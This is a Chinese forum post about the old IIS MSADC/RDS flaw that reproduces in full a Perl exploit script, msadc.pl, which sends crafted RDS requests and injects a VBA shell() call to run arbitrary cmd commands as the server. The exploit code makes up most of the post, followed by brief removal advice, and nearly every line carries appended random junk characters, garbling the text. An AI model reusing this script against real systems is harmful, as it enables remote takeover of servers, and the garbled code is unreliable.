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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) En&bwLu:s  
,(aOTFQS  
涉及程序: ~ou1{NS  
Microsoft NT server ^/;W;C{4  
HI}$Z =C  
描述: BR8W8nRb  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $HjKELoJ<  
?Y6MC:l<  
详细: om3$=  
如果你没有时间读详细内容的话,就删除: +rEqE/QF  
c:\Program Files\Common Files\System\Msadc\msadcs.dll D&1*,`  
有关的安全问题就没有了。 *"rgK|CM$  
OkSJob  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Z2z"K<Z W  
7%rSo^t,L  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 a'R)3:S  
关于利用ODBC远程漏洞的描述,请参看: Q _}i8p '  
cG%ttfq\  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V,,/}f '  
e_C9VNP  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ]TTX<R ZLr  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0,)Ao8  
_ED,DM  
这里不再论述。 **\BP,]}  
i!zh9,i>M  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L||_Jsu  
ZLA&<]Ad"$  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 6;/>asf  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ciKkazx.  
\Ol3kx|  
|7IlYy&:  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ibDMhW$n  
CbK&.a  
#!perl _=0;5OrK1X  
# GH%'YY3|  
# MSADC/RDS 'usage' (aka exploit) script (W~jr-O^  
# )tQG5.to  
# by rain.forest.puppy /EY ^ui  
# nJ/wtw  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ]h (TZu  
# beta test and find errors! =~r?(u6d  
wv,,#P  
use Socket; use Getopt::Std; (]'Q!MjGa  
getopts("e:vd:h:XR", \%args); ]+\@_1<ZI  
/BWJ)6#H  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; MWSx8R)PN  
?f+w:FO  
if (!defined $args{h} && !defined $args{R}) { iQ= %iou  
print qq~ AYHfe#!  
Usage: msadc.pl -h <host> { -d <delay> -X -v } j=v1:E  
-h <host> = host you want to scan (ip or domain) .8is! TT  
-d <seconds> = delay between calls, default 1 second O[RmQ8ll  
-X = dump Index Server path table, if available 1jZ:@M :  
-v = verbose rI&GM |  
-e = external dictionary file for step 5 Zl]Zy}p*+  
w>I>9O}(`  
Or a -R will resume a command session ]pLQ;7f7D  
cmDskQ:  
~; exit;} 9%\<x  
]d"4G7mu`l  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; RL>Nl ow  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 5GK=R aV  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }G&#pw2  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,x5`5mT3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} db"FC3/H  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ok5 {c  
Cna@3)_  
if (!defined $args{R}){ $ret = &has_msadc; SsjO1F  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} TX{DZ#  
:oF\?e  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" b?-%Uzp<  
. "cmd /c "; 8k'UEf`'(  
$in=<STDIN>; chomp $in; gf+Kr02~  
$command="cmd /c " . $in ; /U<-N'|  
=Mq=\T  
if (defined $args{R}) {&load; exit;} cHK)e2 r  
bG +p  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; '#<?QE!d2  
&try_btcustmr; \()\pp~4  
z Q NL){  
print "\nStep 2: Trying to make our own DSN..."; ]sO})  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; rWbuoG+8  
!lE (!d3M  
print "\nStep 3: Trying known DSNs..."; Oa~t&s  
&known_dsn; KdF QlQaj  
gcr,?rE<  
print "\nStep 4: Trying known .mdbs..."; zQ xZR}'  
&known_mdb; AO;`k]0e  
+-,Q>`  
if (defined $args{e}){ IoNZ'g?d  
print "\nStep 5: Trying dictionary of DSN names..."; MoA2Cp;8X  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } GFvZdP`s4  
NTiJEzW}  
print "Sorry Charley...maybe next time?\n"; '6{q;Bxo  
exit; 1W-t})!a  
ld94ek  
############################################################################## ) 0$7{3  
,oDZ:";  
sub sendraw { # ripped and modded from whisker g'Ft5fQ"o/  
sleep($delay); # it's a DoS on the server! At least on mine... }Evyfc#D  
my ($pstr)=@_; fl~k')s  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ))!Z2PfD  
die("Socket problems\n"); [7]p\' j  
if(connect(S,pack "SnA4x8",2,80,$target)){ r4NI(\gU  
select(S); $|=1; uW4G!Kw28  
print $pstr; my @in=<S>; q=bJ9iJsq  
select(STDOUT); close(S);  yyk[oH-Q  
return @in; {#q<0l  
} else { die("Can't connect...\n"); }} Q" VFcp:  
3z: rUhA  
############################################################################## *P:`{ZV7=W  
-'{ioHt&X/  
sub make_header { # make the HTTP request .EH^1.|v  
my $msadc=<<EOT {^9,Dy_D  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 M O* m@  
User-Agent: ACTIVEDATA ?C.C?h6F5B  
Host: $ip `(=)8>|e  
Content-Length: $clen e@p` -;<  
Connection: Keep-Alive hr@KWE`  
 'm}~  
ADCClientVersion:01.06 _@sqCf%|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 N&S :=x:$S  
3-32q)8  
--!ADM!ROX!YOUR!WORLD! &4"(bZ:LO  
Content-Type: application/x-varg S~YrXQ{_>-  
Content-Length: $reqlen nP'ab_>b  
(5-"5<-@R  
EOT `;*=2M<c  
; $msadc=~s/\n/\r\n/g; XnWr~h{b  
return $msadc;} ]9zc[_ !  
a>sUq["  
############################################################################## `Lm ArW:  
I=f1kr pR  
sub make_req { # make the RDS request g_>)Q  
my ($switch, $p1, $p2)=@_; Ew4DumI  
my $req=""; my $t1, $t2, $query, $dsn; RZ|s[b U  
$q.8ve0&^  
if ($switch==1){ # this is the btcustmr.mdb query $+JaEF`8  
$query="Select * from Customers where City=" . make_shell(); K"Nq_Ddwd  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . :Iwe>;}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 5/:Zj,41{  
ICq;jfML  
elsif ($switch==2){ # this is general make table query PKdM-R'Z  
$query="create table AZZ (B int, C varchar(10))"; bvEk.~tC'  
$dsn="$p1";} *KxV;H8/  
wi*Ke2YKP  
elsif ($switch==3){ # this is general exploit table query QwOQS %  
$query="select * from AZZ where C=" . make_shell(); F8b*Mt}p  
$dsn="$p1";} iv#9{T  
'.WYs!  
elsif ($switch==4){ # attempt to hork file info from index server 6xnJyEQUM  
$query="select path from scope()"; 9A B~*;U  
$dsn="Provider=MSIDXS;";} F1Egcx/$V  
LfOGq%&  
elsif ($switch==5){ # bad query A!iH g__/t  
$query="select"; ?\$77k  
$dsn="$p1";} axU!o /m>  
*i5&x/ds  
$t1= make_unicode($query); qcQ`WU{  
$t2= make_unicode($dsn); MB^ b)\X  
$req = "\x02\x00\x03\x00"; UfcM2OmbK  
$req.= "\x08\x00" . pack ("S1", length($t1)); y*Ex5N~JC  
$req.= "\x00\x00" . $t1 ; 5Odi\SJ&  
$req.= "\x08\x00" . pack ("S1", length($t2)); oH6(Lq'q  
$req.= "\x00\x00" . $t2 ; n6Q 3X  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; lt,x(2  
return $req;} s)/i_Oe$\  
&lI.N~Ao  
############################################################################## qf24l&}  
~&B_ Bswf  
sub make_shell { # this makes the shell() statement zKfb  
return "'|shell(\"$command\")|'";} (CZRX9TT1  
lzS"NHs<g(  
############################################################################## 'ARQ7 Q[`  
`;cKN)Xk  
sub make_unicode { # quick little function to convert to unicode A*\4C3a'%  
my ($in)=@_; my $out; f+<-Jc  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 1RRvNZW  
return $out;} [>"qOFCr#:  
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############################################################################## %HYC-TF#  
I &{dan2  
sub rdo_success { # checks for RDO return success (this is kludge) u{6*}6@fi  
my (@in) = @_; my $base=content_start(@in); OY"{XnPZ  
if($in[$base]=~/multipart\/mixed/){ /jj}.X7yH  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} )%,bog(x  
return 0;} x( mY$l,il  
jgEiemh&  
############################################################################## [FyE{NfiJ%  
Z8'uZ#=Yw  
sub make_dsn { # this makes a DSN for us m"U\;Mw?  
my @drives=("c","d","e","f"); Ypv"u0  
print "\nMaking DSN: "; /-BplU*"9  
foreach $drive (@drives) { zI7-xqZ  
print "$drive: "; 1/le%}mK  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 83TN6gW  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" FpW{=4yk  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); yRieGf1'SD  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; TC R(  
return 0 if $2 eq "404"; # not found/doesn't exist ,qvz:a  
if($2 eq "200") { H%faRUonz  
foreach $line (@results) { &lGp /m:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} $fn Fi|-  
} return 0;} cp.)K!$  
x5PQ9Bw,  
############################################################################## CH9#<?l  
%X[|7D-  
sub verify_exists { vaK$j!%FE  
my ($page)=@_; $orhY D3gv  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6"A|)fz  
return $results[0];} Sl 6}5  
&+*jTE  
############################################################################## '>`bp25>  
AV&W&$  
sub try_btcustmr { y!aq}YS  
my @drives=("c","d","e","f"); ]Ff&zBJ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^'FY!^dE  
t~@TUTbx  
foreach $dir (@dirs) { .` ,YUr$.  
print "$dir -> "; # fun status so you can see progress %?RX}37K  
foreach $drive (@drives) { 0kC!v,  
print "$drive: "; # ditto Sm,%>  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ,GR(y^S  
$reqlenlen=length( "$reqlen" ); iY*Xm,#  
$clen= 206 + $reqlenlen + $reqlen; 9IIe:  
@p `#y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); p=7kFv  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} >#0yd7BST  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} /"/$1F%{  
Sf*VkH  
############################################################################## ,VHvQU  
im1]:kr7  
sub odbc_error { %AW  
my (@in)=@_; my $base; #j;&g1  
my $base = content_start(@in); wF38c]r`\<  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this &:{| nDT_2  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; M%B]f2C  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /{qr~7k,oQ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NTVG'3o  
return $in[$base+4].$in[$base+5].$in[$base+6];} ^(&:=r.PC  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 2@^8{  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . "$Rl9(}  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} lWOB!l  
QZ{:#iuig  
############################################################################## ;J?!D x  
Lb/a _8<E?  
sub verbose { `9 $?g|rB  
my ($in)=@_; B>~E6j7[Mp  
return if !$verbose; y< 146   
print STDOUT "\n$in\n";} R8HA X  
]vu' +F$  
############################################################################## e#W@ep|n  
Vwv O@G7A  
sub save { \ &_ -  
my ($p1, $p2, $p3, $p4)=@_; x28Bz*O  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; BJlF@F#  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; !5=3Y4bg1  
close OUT;} 1` 9/[2z  
R$w=+%F  
############################################################################## _;0:wXib =  
AY *  
sub load { Z/ThY bk  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; !)&-\!M>  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 6NZ f!7,B  
@p=<IN>; close(IN); ][0HJG{{g  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); [!aHP ?-  
$target= inet_aton($ip) || die("inet_aton problems"); 8K1+ttjm  
print "Resuming to $ip ..."; ZY][LU~l8  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; fxiq,o0  
if($p[1]==1) { 1hRC Bwx  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Wje7fv  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; /?by4v73P  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 1bvL  
if (rdo_success(@results)){print "Success!\n";} 9`vse>,-hg  
else { print "failed\n"; verbose(odbc_error(@results));}} 2@A7i<p  
elsif ($p[1]==3){ L(X:=) !K0  
if(run_query("$p[3]")){ s!UC{)g,  
print "Success!\n";} else { print "failed\n"; }} X|.X4fs  
elsif ($p[1]==4){ /+66y=`UJ  
if(run_query($drvst . "$p[3]")){ /=-E`%R}!  
print "Success!\n"; } else { print "failed\n"; }} 2U#OBvNU  
exit;} @c.QrKSaD  
Xv'64Nc!;  
############################################################################## tc# rL   
r4_ c~\jH  
sub create_table { ~%GUc ~  
my ($in)=@_; 5a_K|(~3I  
$reqlen=length( make_req(2,$in,"") ) - 28; U>:p`@  
$reqlenlen=length( "$reqlen" ); A}oR,$D-  
$clen= 206 + $reqlenlen + $reqlen; * 9*I:Uh57  
my @results=sendraw(make_header() . make_req(2,$in,"")); 9^jO^[>  
return 1 if rdo_success(@results); | pJ.73  
my $temp= odbc_error(@results); verbose($temp); r2H]n.MT  
return 1 if $temp=~/Table 'AZZ' already exists/; UkeW2l`:  
return 0;} [%bshaY:  
?{^T&<18t  
############################################################################## Y.&z$+  
O0~[]3Y[=  
sub known_dsn { Q OdvzVy<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 7] ~'8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", h{>8W0W*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", VpJ2Qpd=  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ~omX(kPzK  
WXGLo;+>I  
foreach $dSn (@dsns) { d)q{s(<;  
print "."; " $m3xO  
next if (!is_access("DSN=$dSn")); =k0l>)  
if(create_table("DSN=$dSn")){ +fKLCzj  
print "$dSn successful\n"; o>j3<#?  
if(run_query("DSN=$dSn")){ I,q3J1K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Z/a]oR@  
print "Something's borked. Use verbose next time\n";}}} print "\n";} *jDzh;H!w  
>5XE*9  
############################################################################## <;_X=s`f,  
9/Q5(P  
sub is_access { `bivAL  
my ($in)=@_; v`no dI  
$reqlen=length( make_req(5,$in,"") ) - 28; iiO4.@nT  
$reqlenlen=length( "$reqlen" ); "9R3S[  
$clen= 206 + $reqlenlen + $reqlen; tohYwXN  
my @results=sendraw(make_header() . make_req(5,$in,"")); u*PN1E  
my $temp= odbc_error(@results); =1LrU$\  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); F#W'>WBU  
return 0;} $'kIo*cZ  
i) :Q{[D  
############################################################################## m-ZVlj  
fq\E$'o$  
sub run_query { ?;}2 Z)  
my ($in)=@_; &4p:2,|r9  
$reqlen=length( make_req(3,$in,"") ) - 28; =X>?Y,   
$reqlenlen=length( "$reqlen" ); B \[P/AC  
$clen= 206 + $reqlenlen + $reqlen; 5qUyOkI  
my @results=sendraw(make_header() . make_req(3,$in,"")); <!4'?K-N  
return 1 if rdo_success(@results); T;.#=h  
my $temp= odbc_error(@results); verbose($temp); +vZ-o{}.jO  
return 0;} &~ uzu{  
N<O^%!buR  
############################################################################## -w^E~J0*L  
wYNh0QlBH  
sub known_mdb { Rz%+E0  
my @drives=("c","d","e","f","g"); 'N'EC`R  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Z?1.Y7Npr  
my $dir, $drive, $mdb; MheP@ [w|@  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8]+hfB/  
Jfo#IRC  
# this is sparse, because I don't know of many dp-8,Seu  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Ns&SZO  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", e|xRK?aVBu  
"\\system32\\certmdb.mdb", hb[K.`g  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  ;-U :t4  
c1!h;(&  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F&I^bkvh  
"\\cfusion\\cfapps\\forums\\forums_.mdb", x!gu&AA<*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", _f2(vWCW;J  
"\\cfusion\\cfapps\\security\\realm_.mdb", Smg,1,=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", r1$ O<3\  
"\\cfusion\\database\\cfexamples.mdb", !J'BAq[x  
"\\cfusion\\database\\cfsnippets.mdb", XG_ lyx%:E  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ;v>2z!M  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", c00a;=ji  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _fa2ntuS=f  
"\\cfusion\\database\\smpolicy.mdb", $Jx] FZDQ  
"\\cfusion\\database\cypress.mdb", YV 2T$#7u  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", JtvAi\52$  
"\\website\\cgi-win\\dbsample.mdb", dsrzXmE0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ANi}q9SC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _ jF, k>F  
); #these are just M>8#is(pV  
foreach $drive (@drives) { #t po@pJsE  
foreach $dir (@dirs){ VbJGyjx  
foreach $mdb (@sysmdbs) { s$|GVv1B  
print "."; n$B=Vt,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ c?j/ H$  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; #!C/~"Y*`|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #k5Nnv#(J  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; B]0`b1t  
} else { print "Something's borked. Use verbose next time\n"; }}}}} jQ(qaX&  
@My-O@C>  
foreach $drive (@drives) { PzNk:O  
foreach $mdb (@mdbs) { mGwB bY+5n  
print "."; UC\CCDV#^  
if(create_table($drv . $drive . $dir . $mdb)){ -7$7TD`'7  
print "\n" . $drive . $dir . $mdb . " successful\n"; D3|y|Dr  
if(run_query($drv . $drive . $dir . $mdb)){ \:%e 6M  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; FE" ksi 9  
} else { print "Something's borked. Use verbose next time\n"; }}}} .Hc]?R ]  
} 349W0>eOT  
UuzT*Y>  
############################################################################## J *5 )g  
rp{q.fy'U  
sub hork_idx { fu"#C}{  
print "\nAttempting to dump Index Server tables...\n"; ezgP\ct  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 9)];l?l  
$reqlen=length( make_req(4,"","") ) - 28; edx-R-Dc-1  
$reqlenlen=length( "$reqlen" ); bb}|"m .  
$clen= 206 + $reqlenlen + $reqlen; oGu-:X=`9  
my @results=sendraw2(make_header() . make_req(4,"","")); *[9FPya  
if (rdo_success(@results)){ 'n6D3Vse  
my $max=@results; my $c; my %d; sy0|=E*;8"  
for($c=19; $c<$max; $c++){ Fr`"XH  
$results[$c]=~s/\x00//g; PsjSL8]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ,W'`rCxJ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 0P3^#j  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [daUtKz  
$d{"$1$2"}="";} x4r\cL1!  
foreach $c (keys %d){ print "$c\n"; } [>U'P1@ql  
} else {print "Index server doesn't seem to be installed.\n"; }} pIXbr($  
 ") q  
############################################################################## LK-2e$1  
)Gi!wm>zvN  
sub dsn_dict {  <]2X~+v  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); >;-.rJFr  
while(<IN>){ x_GD  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?suxoP%  
next if (!is_access("DSN=$dSn")); /5b,&  
if(create_table("DSN=$dSn")){ :* 4b,P  
print "$dSn successful\n"; k2(B{x}L  
if(run_query("DSN=$dSn")){ ;G |5kvE>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ABuK`(f.  
print "Something's borked. Use verbose next time\n";}}} 2? 9*V19yu  
print "\n"; close(IN);} 7_xQa$U[  
:D|"hJ  
############################################################################## AqM}@2#%%  
}1kT0*'L  
sub sendraw2 { # ripped and modded from whisker VEj-%"\   
sleep($delay); # it's a DoS on the server! At least on mine... w~{NN K;"j  
my ($pstr)=@_; P|`pJYe  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {ss^L  
die("Socket problems\n"); C@3a/<6m  
if(connect(S,pack "SnA4x8",2,80,$target)){ _r@ FWUZ  
print "Connected. Getting data"; <$7HX/P  
open(OUT,">raw.out"); my @in; =4+Wx8ZeW  
select(S); $|=1; print $pstr; `!V=~"ve  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 8vpB(VxV+  
close(OUT); select(STDOUT); close(S); return @in; qS1byqq78l  
} else { die("Can't connect...\n"); }} 2_k2t ?   
jrJ!A(<)  
############################################################################## $o2H#"  
6b`3AAGU"  
sub content_start { # this will take in the server headers P_6JweN  
my (@in)=@_; my $c; fhp\of/@ R  
for ($c=1;$c<500;$c++) { 1- Jd Qs6  
if($in[$c] =~/^\x0d\x0a/){ ^Y[.-MJt+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } qtlXDgppO  
else { return $c+1; }}} `>'%!E9G  
return -1;} # it should never get here actually }rK9M$2]u  
U?]}K S;6  
############################################################################## _-mSK/Z  
<~s{&cL!%#  
sub funky { *f<+yF{=A  
my (@in)=@_; my $error=odbc_error(@in); .S4c<pMap  
if($error=~/ADO could not find the specified provider/){ Y=0D[o8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; #2 Gy=GvV  
exit;} ~nLE?>x|Z  
if($error=~/A Handler is required/){ %+gK5aVab  
print "\nServer has custom handler filters (they most likely are patched)\n"; %QYW0lE  
exit;} 2E7vuFH4c  
if($error=~/specified Handler has denied Access/){ gkkT<hEV=  
print "\nServer has custom handler filters (they most likely are patched)\n"; w1>uD]  
exit;}} "]H_;:{f  
%?  87#|  
############################################################################## `_"F7Czn  
.l1uqCuB  
sub has_msadc { re}_+sv U  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); d!>.$|b  
my $base=content_start(@results); f0!i<9<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 'Z ;8-1M?O  
return 0;} }[2  
X 0\O3l* j  
######################## LKC^Y) 6o  
$?`-} wY  
}K F f  
解决方案: Hst]}g' .  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll *n]f)Jc  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 WlJ=X$  
v^A4%e<8^r  
拿出来充数 哈哈
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